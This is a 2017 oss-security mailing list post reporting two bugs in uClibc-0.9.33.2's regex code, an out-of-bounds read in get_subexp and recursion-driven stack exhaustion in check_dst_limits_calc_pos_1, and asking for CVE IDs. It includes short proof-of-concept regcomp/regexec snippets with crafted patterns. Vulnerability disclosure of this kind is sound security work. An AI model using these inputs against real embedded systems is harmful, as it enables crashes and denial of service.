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Date: Fri, 16 Jun 2017 11:53:09 +0800
From: "fefe" <qbenjin@...com>
To: "oss-security" <oss-security@...ts.openwall.com>
Subject: two vulns in  uClibc-0.9.33.2

I found two vulns in  uClibc-0.9.33.2 (https://uclibc.org/)


one is about line 2682 of get_subexp.c :


		if (BE (bkref_str_off >= mctx->input.valid_len, 0))
		{
		  /* If we are at the end of the input, we cannot match.  */
		  if (bkref_str_off >= mctx->input.len)
		    break;


		  err = extend_buffers (mctx);
		  if (BE (err != REG1_NOERROR, 0))
		    return err;


		  buf = (const char *) re_string_get_buffer (&mctx->input);
		}
	      if (buf [bkref_str_off++] != buf[sl_str - 1])
		break; /* We don't need to search this sub expression
		
"bkref_str_off >= mctx->input.valid_len" , when  bkref_str_off == mctx->input.valid_len, "buf [bkref_str_off++] != buf[sl_str - 1]" case Out of one bit bounds read


The poc code like:
	
	if(regcomp (&regtmp,"(.+)upper\\1^", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
	{		
        	reg1match_t pmatch[1];
		regexec(&regtmp, "upperupperupperx",1, pmatch, 0);
		regfree(&regtmp);
	}






The another is aout line 1837 of regexce.c :


		check_dst_limits_calc_pos_1 (const re_match_context_t *mctx, int boundaries,
			     int subexp_idx, int from_node, int bkref_idx)
                .......


		  cpos =
		    check_dst_limits_calc_pos_1 (mctx, boundaries, subexp_idx,
						 dst, bkref_idx);


		
check_dst_limits_calc_pos_1 recursive calls case DDOS, because of stack exhaustion.


The poc code like:	
	
	if(regcomp (&regtmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
	{		
        	reg1match_t pmatch[1];
		regexec(&regtmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
		regfree(&regtmp);
	}




A large number of embedded devices uses uclibc instead of glibc.
Could you assign CVE id for those?


Thank you


Benjin Liu
Codesafe Team of Qihoo 360

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